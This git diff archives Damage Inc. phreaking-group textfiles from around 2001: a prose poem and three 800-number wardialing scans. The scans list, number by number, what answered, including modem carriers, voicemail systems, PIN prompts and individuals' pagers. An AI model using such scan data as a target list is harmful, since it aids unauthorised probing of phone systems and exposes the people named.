Interviews and Interrogations: Interview with Grandmaster Ratte' of the cDc (2001) +
ifonly.txt 2889
Poetic Rantings: If Only... by Helena3 of Damage, Inc. (2000) +
intcodes.txt 10904
Phreaky International Codes Reference Winter 2001 Edition (February 5, 2001) +
mci.nfo 179230
MCI Worldcom Network Assistance: Access Numbers for Compuserve, BT Tymnet, Datapac, AlaskaNet +
myheart.txt 3180
Poetic Rantings: My Heart Beats for You +
nowhere.txt 3630
Poetic Rantings: American Dreams: Nowhere is Everywhere, by Blackened of Damage Inc. (2001) +
npa.txt 12782
The Damage Inc. Phreaky Field NPA Reference (Winter 2001 Edition) (February 5, 2001) +
odedi.txt 2974
An Ode to Damage, Incorporated, by THC Phreak (1998) +
pages.txt 3380
Poetic Rantings; Blank Pages Revealing Tears +
phreaky.txt 3556
Snap! Crackle! Pop! Bell Krispies! Winter 2001 Edition, by Blackie Lawless +
propagan.txt 3001
Poetic Rantings: Propagandize +
silicon.txt 2645
Poetic Rantings: Submissive Silicon Dreams by Blackened of Damage Inc. (2001) +
soldier.txt 2105
Poetic Rantings: New World Soldier, by THC Phreak of Damage Inc. (2000) +
sprint.nfo 40000
SprintNet Local Access Numbers +
stilldi.txt 2768
Still Damage, Inc (Poem) by THC Phreak (2000) +
terror.txt 3345
Poetic Rantings: The Error of Terror by Blackened of Damage, Inc. (2001) +
theend.txt 4730
Poetic Rantings: The End of Truth +
voice.txt 5315
The Voice of the Monopoly (Poem) by BLACKENED (2000) +
xxx-2255.txt 13329
1-800-XXX-2255 Scan +
zombie.txt 4167
A Pathetic Zombie Race (Poem) +

There are 62 files for a total of 3,928,151 bytes.
+

+ diff --git a/textfiles.com/groups/DAMAGEINC/16hours.txt b/textfiles.com/groups/DAMAGEINC/16hours.txt new file mode 100644 index 00000000..3f0e7781 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/16hours.txt @@ -0,0 +1,54 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +16 Hours of Hell and Bliss. + +Writing sixteen hours... exploding in emotional outbursts. Not breaking away +from pen and paper. Not wanting to stop and eat, sleep, shave or shower. At +times feeling trapped and confined. At others, it's bliss. A paradox... like +the world in nirvana perpetually amiss. Ironic that I even choose to do this. + +Cliches fill my head as it aches for rest. Caught between a rock and a hard +place. Looking up at the sheer rock face... of majestic mountains. Standing +tall but feeling so utterly small... at its brooding base. + +There I go... off on a tangent again. Ranting on pages. Releasing energy +relentlessly. When will this bliss come to an abrupt end? Will this be the +final hour? So very weary now... So overpowered. + +Time bends. Night is eclipsed by day... usurped by dawn. In the sixteenth hour +I finally give in. Sleep awaits. The moment has passed. I miss the feeling +that's now only a memory... Gone. + +With inspiration exhausted... I'm left only with tiredness. Unsatisfied with +what I've written. Mind and body feeling like they've somehow been accosted. +Sweet words escape me... Lost. + +But all's well. All's hell. + +And now I don't feel much like writing. The moment faded away. The words are +gone like a fleeting summer. Worn down houses with paint peeling. But oh... +how bitter and cold the feeling. Torment so vicious... and biting. And the +emptiness so great... Overwhelming words so cruel and slighting. + +This northern land... of wolf and man... ripping right through me like the +hopeless hours. Hours that only inspiration can devour. Will you be there? +I'm the one who waits for you... Inspired by truth. + +I can't breathe. Of blood and pain and sorrow. Terrified. I will sleep now... +in the solace of darkness and shadows. And I will put myself through hell +again... tomorrow. Endless hours of misery await... without tears or cries. + +This is what I've felt and known. This is my own private hell. So alone... +This is no oasis! + +Written by BLACKENED / Damage, INC. (C)opyright 2001. diff --git a/textfiles.com/groups/DAMAGEINC/225-5xxx.txt b/textfiles.com/groups/DAMAGEINC/225-5xxx.txt new file mode 100644 index 00000000..d49f3353 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/225-5xxx.txt @@ -0,0 +1,1015 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + 1-800-225-5XXX Scan + + http://surf.to/damage_inc + damage_inc@dope.org +=============================================================================== + +1-800-225-5XXX (CALL) Scan: +-------------------------- + +000 Voice. +001 2CK. +002 2CK. +003 2CK. +004 2CK. +005 Daytimers. +006 "We are sorry but this program has not started. Thank you for calling." +007 "We are sorry but this program has not started. Thank you for calling." +008 NA. +009 NA. +010 2CK. +011 2CK. +012 2CK. +013 Voice. +014 John's Voicemail. +015 BUSY. +016 2CK. +017 BUSY. +018 Inteliphone VMS. +019 Voice. +020 2CK. +021 2CK. +022 AT&T Easy Reach 800. +023 2CK. +024 2CK. +025 General Tire free U.S. Savings Bond promotion. +026 CARRIER. +027 AT&T Easy Reach 800. +028 2CK. +029 NA. +030 Same message as 300. +031 2CK. +032 BUSY. +033 2CK. +034 Voice. +035 2CK. +036 2CK. +037 2CK. +038 Kathy with Network Implementation. +039 2CK. +040 2CK. +041 2CK. +042 2CK. +043 BUSY. +044 Reunion Network. +045 2CK. +046 2CK. +047 BUSY. +048 2CK. +049 2CK. +050 Automated Switchboard of a Law Firm. +051 2CK. +052 Voice. +053 2CK. +054 Metro Information Services. +055 Very Fine Products. +056 2CK. +057 2CK. +058 2CK. +059 Voice. "How may I direct your call?" +060 2CK. +061 Voice. "How may I direct your call?" +062 Channel Machine company. (Voice) +063 2CK. +064 2CK. +065 2CK. +066 Law Office. +067 2CK. +068 Bruce Johnson's Voicemail. +069 2CK. +070 NA. +071 NA. +072 BUSY. +073 2CK. +074 2CK. +075 2CK. +076 Something VMS. +077 NA. +078 2CK. +079 2CK. +080 2CK. +081 2CK. +082 2CK. +083 2CK. +084 2CK. +085 2CK. +086 2CK. +087 Capital Realty. +088 2CK. +089 NA. +090 2CK. +091 "We're sorry, this account is not active at this time." +092 2CK. +093 BUSY. +094 2CK. +095 2CK. +096 Travel Department. +097 2CK. +098 2CK. +099 BUSY. +100 AT&T Corporate Teleconferencing. +101 Cable Guide Hotline. +102 2CK. +103 Matt's VMB. +104 2CK. +105 Nationwide messaging. +106 Antenna. (Voice) +107 2CK. +108 2CK. +109 Smoking Sensation hotline. +110 Kelly Blue Book Used Car line. +111 2CK. +112 Same message as 122. +113 2CK. +114 2CK. +115 2CK. +116 Island of Nantucket. +117 2CK. +118 Same message as 122. +119 NA. +120 AT&T Easy Reach 800. +121 2CK. +122 "We are sorry but this program has not started. Thank you for calling." +123 Seiger Electronics. NIS. 1-800-724-3780 Seiger Electronics. +124 CARRIER. +125 Answering machine. +126 2CK. +127 2CK. +128 NOS (collect, credit and calling card) +129 2CK. +130 NA. +131 Same message as 300. +132 T-Row Price automated finances. +133 BUSY. +134 Nationwide Messaging. +135 2CK. +136 Unicare (for companies like Hitachi). +137 NA. (Loud Ring) +138 FAX. +139 "Enter telephone number or numeric message." +140 Answering machine. +141 NA. +142 2CK. +143 2CK. +144 2CK. +145 Some bank's customer service line. +146 NA. +147 "All circuits are busy." +148 2CK. +149 Same message as 122. +150 Another no name lame company's customer service line. +151 2CK. +152 Nationwide Messaging. +153 2CK. +154 Unicare. +155 BUSY. +156 Aaron's Direct Dial VMB. +157 Collins Medical VMS. +158 "Please enter a numeric message." +159 2CK. +160 GTE Corporation. +161 2CK. +162 AT&T Easy Reach 800. +163 Scutter Fund. +164 2CK. +165 2CK. +166 2CK. +167 AstroMed VMS. +168 2CK. +169 2CK. +170 2CK. +171 2CK. +172 VMS. +173 2CK. +174 2CK. +175 2CK. +176 Same message as 122. +177 AT&T Easy Reach 800. +178 2CK. +179 Same message as 122. +180 Bell Canada Client Service Center. +181 2CK. +182 2CK. +183 NA. (Loud Ring) +184 2CK. +185 Fitness Service. +186 Same message as 122. +187 2CK. +188 2CK. +189 2CK. +190 2CK. +191 2CK. +192 Same message as 122. +193 2CK. +194 Same message as 122. +195 Same message as 122. +196 NA. +197 2CK. +198 2CK. +199 2CK. +200 NA. +201 2CK. +202 2CK. +203 2CK. +204 2CK. +205 AT&T Collect Calls message. Gives the 1-800-CALL-ATT number. +206 NA. +207 AT&T Easy Reach 800. +208 "Please enter the number you are calling." +209 Nationwide Messaging. +210 2CK. +211 2CK. +212 2CK. +213 2CK. +214 Same message as 122. +215 2CK. +216 NA. +217 2CK. +218 NA. +219 2CK. +220 2CK. +221 NA. +222 ABC News Video Tape and Transcript order center. +223 2CK. +224 Computer Associates. +225 2CK. +226 2CK. +227 Western Union. +228 ATN Communications. +229 2CK. +230 2CK. +231 CARRIER. +232 2CK. +233 NOS (collect etc.) +234 2CK. +235 2CK. +236 BUSY. +237 ADP automated system. +238 2CK. +239 Business Express VMS. +240 Biochat system at Biomedics. +241 Quality Water. +242 Humanetics. +243 1-800-FLOWERS. +244 Life Division of AIG. +245 2CK. +246 Voice. +247 Brink's Home Security. +248 AGT International. +249 IBM AIX Support. +250 Russ Electric. +251 Disconnected. +252 2CK. +253 2CK. +254 2CK. +255 NA. +256 NIS. +257 Contracters Labour Pool VMS. +258 2CK. +259 Noble Books. +260 2CK. +261 2CK. +262 NA. +263 Disconnected. +264 Technical Trainers VMS. +265 1-800-COLLECT. +266 2CK. +267 CMS North America. +268 ATN Communications. +269 Technical Difficulties. +270 Fidelity Destiny Plan. +271 Nationwide Messaging. +272 NIS. +273 2CK. +274 BPI VMS. +275 CARRIER. +276 NA. +277 NA. +278 NIS. +279 CFX Transportation. +280 TONE. +281 2CK. +282 2CK. +283 2CK. +284 2CK. +285 BUSY. +286 Avon. (Voice) +287 2CK. +288 AT&T (1-800-CALL-ATT) +289 2CK. +290 2CK. +291 John Hancock Funds. +292 2CK. +293 Web Service Company. +294 2CK. +295 2CK. +296 2CK. +297 Humanetics National Customer Care Center. +298 Carlson Bogonlee Travel. +299 2CK. +300 "We're sorry but this program has ended & no further calls are being taken." +301 2CK. +302 2CK. +303 NIS. +304 Nationwide Messaging. +305 2CK. +306 2CK. +307 CARRIER. +308 Loud Tone. +309 2CK. +310 NA. +311 2CK. +312 Answering machine. +313 Same message as 122. +314 "Please enter a voice or numeric message." +315 NIS. +316 NA. +317 FAX. +318 AT&T Easy Reach 800. +319 2CK. +320 2CK. +321 2CK. +322 Feeder Corporation. Gives 1-888-225-5322 for the FCC. NIS. +323 2CK. +324 Ryerson something. (Voice) +325 2CK. +326 Dan's VMB. +327 2CK. +328 AT&T Easy Reach 800. +329 "To complete your call, please press or dial '1' now." +330 2CK. +331 Windham Resort and Spaw in Florida. +332 First Union Bank automated service. +333 Invalid. +334 Lame answering machine. +335 Delta Funding Corporation. +336 Spectrum Manufacturing VMS. +337 2CK. +338 2CK. +339 Something Yellow Pages VMS. +340 2CK. +341 Kendal Customer Service Center. +342 2CK. +343 2CK. +344 2CK. +345 2CK. +346 2CK. +347 2CK. +348 Disconnected. Calls taken by 1-800-352-2287. NA. +349 2CK. +350 NIS. +351 VMS. +352 Kodak Film Company. +353 Fleet Bank. +354 2CK. +355 Rocky Mountain Elk Foundation. +356 2CK. +357 Dow Jones New Services Reports. +358 BUSY. +359 2CK. +360 VMS. +361 New number 1-877 358 1508 +362 Something Medical Group. (Voice) +363 NA. +364 EMI Group VMS. +365 Invalid. +366 2CK. +367 2CK. +368 2CK. +369 NA. +370 Lame company that doesn't even identify itself by name. +371 2CK. +372 NA. +373 3M Electronic Products Information. +374 NA. +375 2CK. +376 "Please enter your 4 digit PIN." +377 Federal Screw Products in Chicago. (Screw the Feds) +378 2CK. +379 2CK. +380 2CK. +381 2CK. +382 VMS. 335 Willow Street North Andover Mass. +383 2CK. +384 2CK. +385 Compaq Computer Corporation. +386 NA. +387 CyTek's FAX Service for employees. (requires security code) +388 2CK. +389 Detroit Convention Bureau VMS. +390 2CK. +391 Coolio's Gardens. +392 2CK. +393 2CK. +394 Disconnected. +395 2CK. +396 AT&T Easy Reach 800. +397 NIS. +398 Around the World Travel. (Voice) +399 2CK. +400 Bell Atlantic. +401 2CK. +402 Same message as 122. +403 Same message as 122. +404 2CK. +405 2CK. +406 Same message as 122. +407 Same message as 122. +408 2CK. +409 Citizen's National Bank. 1-800-447-4262 +410 Same message as 122. +411 Sundance Supplier Services. +412 2CK. +413 Cincinatti Bell VMS for 530-5100. +414 2CK. +415 2CK. +416 2CK. +417 2CK. +418 2CK. +419 NA. +420 NIS. +421 2CK. +422 2CK. +423 Something Advertising VMS. +424 Voice. +425 Customer Service center for some lame company. +426 2CK. +427 Invalid. +428 2CK. +429 Mother's Cookies. +430 2CK. +431 2CK. +432 2CK. +433 2CK. +434 2CK. +435 2CK. +436 NA. +437 American Express Financial Advisors. +438 IDT Long Distance/Internet Services. +439 NIS. +440 2CK. +441 NA. +442 2CK. +443 Something Atlanta VMS. +444 2CK. +445 2CK. +446 2CK. +447 2CK. +448 2CK. +449 Farrow Union Incorporated VMS. +450 2CK. +451 2CK. +452 2CK. +453 NA. +454 NA. +455 Johnson and Johnson VMS. +456 NA. +457 Comlink Sanderson VMS. +458 2CK. +459 IOX Customer Support. +460 2CK. +461 Same message as 122. +462 ADCon Incorporated. +463 2CK. +464 2CK. +465 2CK. +466 Voice. +467 2CK. +468 NA. +469 Home Owners Warranty. +470 VMS. +471 2CK. +472 2CK. +473 2CK. +474 2CK. +475 Smart Cards USA. +476 Golden State Mutual Life Insurance Company VMS. +477 2CK. +478 New England Funds. +479 NA. +480 2CK. +481 2CK. +482 NA. +483 GTE Long Distance. +484 BUSY. +485 HTL Telemanagement. +486 2CK. +487 Disconnected. +488 2CK. +489 NA. +490 Jeff Carlson's Voicemail. +491 Western Geophysical (Greg's VMB) +492 NA. +493 2CK. +494 2CK. +495 2CK. +496 2CK. +497 2CK. +498 GWV International. +499 2CK. +500 Teleconference Assistance. +501 2CK. +502 Changed to 814-432-7969 +503 2CK. +504 2CK. +505 2CK. +506 Massachussets College of Pharmacy. +507 2CK. +508 Voice. +509 NA. +510 NA. +511 AT&T Easy Reach 800. +512 2CK. +513 Same message as 122. +514 2CK. +515 Voice. +516 2CK. +517 2CK. +518 2CK. +519 TONE. +520 Voice. +521 2CK. +522 2CK. +523 2CK. +524 2CK. +525 Jack Kelly Company. +526 Voice. +527 2CK. +528 TONE. "Please enter the number you are calling." +529 2CK. +530 FAX. +531 Changed to 1-877-946-3976. Boston Wine Expo. +532 KFC Customer Service Line. (Kentucky Fried Chicken anyone?) +533 AT&T Easy Reach 800. +534 Jags High Performance VMS. +535 Fordcom and machine Company or something. +536 Ocean Promotions. +537 NA. +538 2CK. +539 Communitech Corporation. +540 2CK. +541 Interstate Motor Something. (Voice) +542 Keyho Motors America VMS. +543 VMS. +544 2CK. +545 2CK. +546 Investor's Business Daily. (Voice) +547 2CK. +548 2CK. +549 Voice. +550 2CK. +551 2CK. +552 2CK. +553 2CK. +554 NA. +555 2CK. +556 2CK. +557 NA. +558 NIS. +559 2CK. +560 2CK. +561 AT&T Easy Reach 800. +562 NIS. +563 Rings once then silence. +564 2CK. +565 2CK. +566 2CK. +567 2CK. +568 2CK. +569 AT&T Easy Reach 800. +570 2CK. +571 2CK. +572 SuperStar. +573 AT&T Easy Reach 800. +574 2CK. +575 2CK. +576 2CK. +577 2CK. +578 BUSY. +579 FAX. +580 NA. +581 2CK. +582 2CK. +583 NA. +584 2CK. +585 2CK. +586 2CK. +587 Ryerson VMS. +588 Lawrence Tech. +589 2CK. +590 2CK. +591 Same message as 122. +592 Voice. +593 Voice. +594 JWI. (French and English) +595 NIS. +596 2CK. +597 2CK. +598 VMS. +599 2CK. +600 2CK. +601 2CK. +602 "Please enter a numeric message." +603 Voice. +604 Voice. +605 2CK. +606 2CK. +607 NOS (calling, collect, credit card calls) +608 2CK. +609 2CK. +610 2CK. +611 FAX. +612 2CK. +613 2CK. +614 FAX. +615 American Express Prudential Travel Office. +616 2CK. +617 VMS. +618 NIS. +619 2CK. +620 2CK. +621 Cabellas. +622 MC Squared VMS. +623 Bank One's Telebanking Center. +624 AT&T Easy Reach 800. +625 2CK. +626 2CK. +627 NCR Customer Support. +628 2CK. +629 "Welcome to Callmay. Please enter your SSN." +630 2CK. +631 2CK. +632 Voice. +633 BUSY. +634 2CK. +635 Same message as 122. +636 2CK. +637 NIS. +638 BUSY. +639 2CK. +640 AT&T Easy Reach 800. +641 Answering machine. +642 National Property Claim Center. +643 Shareholder Connection. +644 NA. +645 NA. +646 2CK. +647 2CK. +648 2CK. +649 Voice. +650 NA. +651 2CK. +652 Oklahoma City Convention and Visitors Bureau. +653 2CK. +654 2CK. +655 2CK. +656 "Please enter the 4 digit number listed with your invite to call this number." +657 PC Something VMS. +658 2CK. +659 2CK. +660 1-800-553-2577 is Alcoa's VMS. +661 2CK. +662 Michigan National Bank. +663 2CK. +664 NEC Corporation. +665 2CK. +666 2CK. +667 2CK. +668 BUSY. +669 New England 800 Company. +670 2CK. +671 2CK. +672 2CK. +673 2CK. +674 2CK. +675 Mercs Shareholder Direct. +676 2CK. +677 Oppenheimer Funds. +678 2CK. +679 Memorex Products. +680 AT&T Easy Reach 800. +681 2CK. +682 2CK. +683 2CK. +684 2CK. +685 NA. +686 2CK. +687 2CK. +688 NA. +689 BUSY. +690 NA. +691 2CK. +692 Not-Active. +693 Metropolitan Water District. +694 2CK. +695 BUSY. +696 NA. +697 New York State Travel Information Center. +698 2CK. +699 KMX Helpline. +700 AT&T Teleconference. +701 2CK. +702 2CK. +703 AT&T Easy Reach 800. +704 2CK. +705 AT&T Easy Reach 800. +706 2CK. +707 2CK. +708 2CK. +709 2CK. +710 2CK. +711 2CK. +712 RAM Sports VMS. +713 FAX. +714 2CK. +715 NIS. +716 2CK. +717 2CK. +718 2CK. +719 NA. +720 Something Paging. +721 2CK. +722 2CK. +723 2CK. +724 2CK. +725 Merril Lynch. +726 2CK. +727 Scandanavian Airlines. +728 Mid City Automatic Teller. +729 2CK. +730 2CK. +731 Mailbox is not valid. +732 Polaroid Product Helpline. +733 2CK. +734 AT&T Easy Reach 800. +735 2CK. +736 Voice. +737 BOK's Financial Services. +739 2CK. +738 NA. +740 SLS Mechanics. +741 NA. +742 NA. +743 NA. +744 2CK. +745 Philadelphia Convention and Visitors Bureau. +746 VMS. +747 2CK. +748 2CK. +749 2CK. +750 Educators publishing service. +751 Educators publishing service. +752 2CK. +753 2CK. +754 2CK. +755 Same message as 122. +756 Insurance Service Center. +757 2CK. +758 Voice. +759 Skylink Travel. +760 NA. +761 Mazda. (Voice) +762 2CK. +763 NA. +764 NA. +765 NA. +766 2CK. +767 Centronix Technology Group. +768 2CK. +769 2CK. +770 NIS. +771 NIS. +772 SuperStar. +773 2CK. +774 3M in Austin, TX. 1-800-426-8688 +775 West Diagnostics Incorporated. +776 2CK. +777 FAX. +778 Norwest mortgage. +779 2CK. +780 2CK. +781 2CK. +782 South Trust Direct. +783 2CK. +784 Union Carbide VMS. +785 Answering machine. +786 Equiserve. +787 FAX. +788 2CK. +789 2CK. +790 NIS. +791 NIS. +792 SBC Wireless National Services. +793 NA. +794 2CK. +795 Same message as 300. +796 2CK. +797 South Power. +798 2CK. +799 Daily Web Press Service Dept. +800 Publishing Group. +801 Same message as 122. +802 2CK. +803 Something Customer Service. +804 "We are sorry but this program has ended. Thank you for calling." +805 2CK. +806 2CK. +807 2CK. +808 Voice. +809 FAX. +810 2CK. +811 NA. +812 2CK. +813 2CK. +814 2CK. +815 2CK. +816 2CK. +817 PageText. "Enter your PIN number now..." +818 Ballpro. (fast talker) +819 FAX. +820 2CK. +821 2CK. +822 2CK. +823 Answering machine. +824 TCI Cable Services. +825 United Airlines Services. +826 Something VMS. +827 Collagen Products Division of something Corp. +828 Albin Shoe Company. +829 New York State Department of Taxation. +830 2CK. +831 2CK. +832 1-800-523-9382. +833 NA. +834 NA. +835 2CK. +836 Franklin Mint information line. +837 2CK. +838 2CK. +839 2CK. +840 NA. +841 2CK. +842 2CK. +843 Fortel and Merdian Hotels and Resorts. +844 UGI VMS. +845 2CK. +846 VMS. +847 NIS. +848 Shoecraft VMS. +849 NA. +850 CARRIER. +851 2CK. +852 2CK. +853 2CK. +854 Meridian Mail VMB. +855 BUSY. +856 AT&T's Vendor Agent Program. +857 TL Smith Machine PBX. +858 NIS. +859 Valley National Bank. +860 2CK. +861 2CK. +862 2CK. +863 University of North Dakota Enrollment Services. +864 2CK. +865 Number changed. +866 2CK. +867 NA. +868 Number changed. +869 2CK. +870 Voice. +871 High Tone then Dialtone. +872 AT&T Collect Call message. Please call 1-800-CALL-ATT. +873 NA. +874 Voice. +875 FAX. +876 2CK. +877 Valley's Park Place Reservations. +878 BUSY. +879 2CK. +880 Customation. +881 2CK. +882 2CK. +883 2CK. +884 NA. +885 2CK. +886 2CK. +887 2CK. +888 MCI WorldCom Operator Services. +889 Ameritech? Ameritucks? +890 NIS. +891 Precision Products Customer Service. +892 2CK. +893 BUSY. +894 2CK. +895 FSF Stadler VMS. +896 Silent line. +897 2CK. +898 2CK. +899 2CK. +900 2CK. +901 2CK. +902 Northern States Power Company. +903 2CK. +904 2CK. +905 AT&T Easy Reach 800. +906 2CK. +907 CB Environmental Control. +908 Metropolitan Credit Union. +909 2CK. +910 NA. +911 Provider line for Access Assistance. +912 2CK. +913 Fastner Division of Something. +914 NA. +915 2CK. +916 NA. +917 NA. +918 2CK. +919 2CK. +920 2CK. +921 Highlander Sale Catalog. +922 2CK. +923 Advanta Stock and Dividend Program. +924 2CK. +925 2CK. +926 2CK. +927 Something Technologies. +928 2CK. +929 2CK. +930 Waste Management. +931 2CK. +932 Wells Fargo's Equity line. +933 2CK. +934 2CK. +935 Wells Fargo National Banking Center. +936 2CK. +937 2CK. +938 2CK. +939 2CK. +940 Unavailable. +941 2CK. +942 2CK. +943 Non-Working 800 number. +944 CARRIER. +945 John Wiley and Sons. +946 "Please enter your authorization code." +947 Voice. +948 2CK. +949 Darrin Lewis' Pager. +950 NA. +951 2CK. +952 BUSY. 2 +953 2CK. +954 2CK. +955 2CK. +956 2CK. +957 2CK. +958 American Express Travel Office Center. +959 Voice. +960 2CK. +961 Voice. +962 NA. +963 "The mobile customer you have called is unavailable." +964 2CK. +965 NIS. +966 2CK. +967 2CK. +968 2CK. +969 2CK. +970 "The mobile customer you have called is unavailable." +971 Security First Group Health Center. +972 WPC VMS. +973 2CK. +974 2CK. +975 2CK. +976 WPO Travel. +977 Valley's Park Place Room Reservations. +978 2CK. +979 2CK. +980 Resource Network Technical Support. 1-800-345-3342 (HBO) +981 CARRIER. +982 State of West Virginia. +983 2CK. +984 NA. +985 2CK. +986 2CK. +987 Theological Seminary. +988 2CK. +989 2CK. +990 NA. +991 Voice. +992 Real Estate. +993 2CK. +994 Grangers Emergency Service. +995 "This number no longer reaches Wells Fargo Bank." at WFF Bank. +996 Wyoming Tourist Office. +997 2CK. +998 2CK. +999 Williamsburg Hotel. diff --git a/textfiles.com/groups/DAMAGEINC/465-11xx.txt b/textfiles.com/groups/DAMAGEINC/465-11xx.txt new file mode 100644 index 00000000..e2dca542 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/465-11xx.txt @@ -0,0 +1,116 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + 1-800-465-11XX Scan + + http://surf.to/damage_inc + damage_inc@dope.org +=============================================================================== + +Shatazar's Scans (scanned from the 519 NPA) +2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service. +47-4 = Number is blocked/invalid. + +1-800-465-1100 2CK. +1-800-465-1101 2CK. +1-800-465-1102 AT&T Easy Reach 800. +1-800-465-1103 "Please enter your 4 digit PIN." +1-800-465-1104 2CK. +1-800-465-1105 2CK. +1-800-465-1106 AT&T Easy Reach 800. +1-800-465-1107 Invalid. +1-800-465-1108 2CK. +1-800-465-1109 2CK. +1-800-465-1110 2CK. +1-800-465-1111 2CK. +1-800-465-1112 NIS. +1-800-465-1113 2CK. +1-800-465-1114 NA. +1-800-465-1115 Ontario Hydro Kenora area. +1-800-465-1116 NA. +1-800-465-1117 2CK. +1-800-465-1118 NA. +1-800-465-1119 2CK. +1-800-465-1120 Voice. +1-800-465-1121 NIS. +1-800-465-1122 NIS. +1-800-465-1123 Voice. +1-800-465-1124 NIS. +1-800-465-1125 NIS. +1-800-465-1126 NIS. +1-800-465-1127 Voice. +1-800-465-1128 2CK. +1-800-465-1129 FAX. +1-800-465-1130 NIS. +1-800-465-1131 NIS. +1-800-465-1132 NIS. +1-800-465-1133 2CK. +1-800-465-1134 Bars Dealer Accounting. +1-800-465-1135 Bruce McGregor with Century 21. +1-800-465-1136 Paul's pager. +1-800-465-1137 Robert Something Limited. +1-800-465-1138 Invalid/Blocked. +1-800-465-1139 NA. +1-800-465-1140 2CK. +1-800-465-1141 NIS. +1-800-465-1142 "Please leave your name and a message." +1-800-465-1143 NIS. +1-800-465-1144 2CK. +1-800-465-1145 NA. +1-800-465-1146 Non-Working number. +1-800-465-1147 NA. +1-800-465-1148 NIS. +1-800-465-1149 2CK. +1-800-465-1150 NA. +1-800-465-1151 NIS. +1-800-465-1152 French. +1-800-465-1153 Bell Canada. +1-800-465-1154 New Green Surfaces. +1-800-465-1155 Something Pontiac Buick Dealership. +1-800-465-1156 NIS. +1-800-465-1157 Invalid/Blocked. +1-800-465-1158 Invalid/Blocked. +1-800-465-1159 "Welcome to Frontier Speedlink. What PIN would you like to call?" +1-800-465-1160 "Please enter your 4 digit PIN." +1-800-465-1161 2CK. +1-800-465-1162 2CK. +1-800-465-1163 2CK. +1-800-465-1164 NA. +1-800-465-1165 AT&T Easy Reach 800. +1-800-465-1166 Jacob's Farm Equipment. +1-800-465-1167 "The mobile customer you have called is unavailable..." +1-800-465-1168 Invalid/Blocked. +1-800-465-1169 Invalid/Blocked. +1-800-465-1170 Bob Caruso. +1-800-465-1171 "This is not a valid number." +1-800-465-1172 2CK. +1-800-465-1173 2CK. +1-800-465-1174 Lace Master National VMS. +1-800-465-1175 Strange VMS/After hours FAX. +1-800-465-1176 Meridian Mail VMB. +1-800-465-1177 NIS. +1-800-465-1178 NIS. +1-800-465-1179 CARRIER. +1-800-465-1180 NIS. +1-800-465-1181 NIS. +1-800-465-1182 Service Cents. +1-800-465-1183 FAX. +1-800-465-1184 2CK. +1-800-465-1185 2CK. +1-800-465-1186 FAX. +1-800-465-1187 NIS. +1-800-465-1188 NIS. +1-800-465-1189 NIS. +1-800-465-1190 NIS. +1-800-465-1191 Pangrowsomething? offices. +1-800-465-1192 NIS. +1-800-465-1193 NIS. +1-800-465-1194 NIS. +1-800-465-1195 2CK. +1-800-465-1196 2CK. +1-800-465-1197 2CK. +1-800-465-1198 Canadian Transfer Association. +1-800-465-1199 NA. diff --git a/textfiles.com/groups/DAMAGEINC/465-99xx.txt b/textfiles.com/groups/DAMAGEINC/465-99xx.txt new file mode 100644 index 00000000..b4301bad --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/465-99xx.txt @@ -0,0 +1,116 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + 1-800-465-99XX Scan + + http://surf.to/damage_inc + damage_inc@dope.org +=============================================================================== + +Shatazar's Scans (scanned from the 519 NPA) +2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service. +47-4 = Number is blocked/invalid. + +1-800-465-9900 NIS. +1-800-465-9901 NIS. +1-800-465-9902 NIS. +1-800-465-9903 NIS. +1-800-465-9904 NIS. +1-800-465-9905 NIS. +1-800-465-9906 AT&T Easy Reach 800. +1-800-465-9907 NIS. +1-800-465-9908 NIS. +1-800-465-9909 NA. +1-800-465-9910 NIS. +1-800-465-9911 2CK. +1-800-465-9912 2CK. +1-800-465-9913 American Network Leasing. +1-800-465-9914 FAX. +1-800-465-9915 2CK. +1-800-465-9916 Portfolio Administration Customer Service. +1-800-465-9917 NA. +1-800-465-9918 NIS. +1-800-465-9919 NIS. +1-800-465-9920 NIS. +1-800-465-9921 NIS. +1-800-465-9922 NA. +1-800-465-9923 French. +1-800-465-9924 NIS. +1-800-465-9925 NIS. +1-800-465-9926 NIS. +1-800-465-9927 NIS. +1-800-465-9928 2CK. +1-800-465-9929 NIS. +1-800-465-9930 NIS. +1-800-465-9931 NA. +1-800-465-9932 Pension Surplus Reserve Group. +1-800-465-9933 Weed Man Lawncare. +1-800-465-9934 2CK. +1-800-465-9935 NIS. +1-800-465-9936 NIS. +1-800-465-9937 2CK. +1-800-465-9938 Nationwide Messaging. +1-800-465-9939 Nationwide Messaging. +1-800-465-9940 Paulie's Pager. +1-800-465-9941 NIS. +1-800-465-9942 Nationwide Messaging. +1-800-465-9943 Someone's Pager/Voicemail. +1-800-465-9944 Voice. +1-800-465-9945 NIS. +1-800-465-9946 2CK. +1-800-465-9947 SkyTel. "Enter the PIN number you wish." +1-800-465-9948 Voice. +1-800-465-9949 Someone's Voicemail. +1-800-465-9950 "Enter telephone number or a numeric message." +1-800-465-9951 "Enter telephone number or a numeric message." +1-800-465-9952 2CK. +1-800-465-9953 FAX. +1-800-465-9954 "This PIN has been disconnected. Thank you for calling SkyTel." +1-800-465-9955 NA. +1-800-465-9956 Voicemail/Pager. 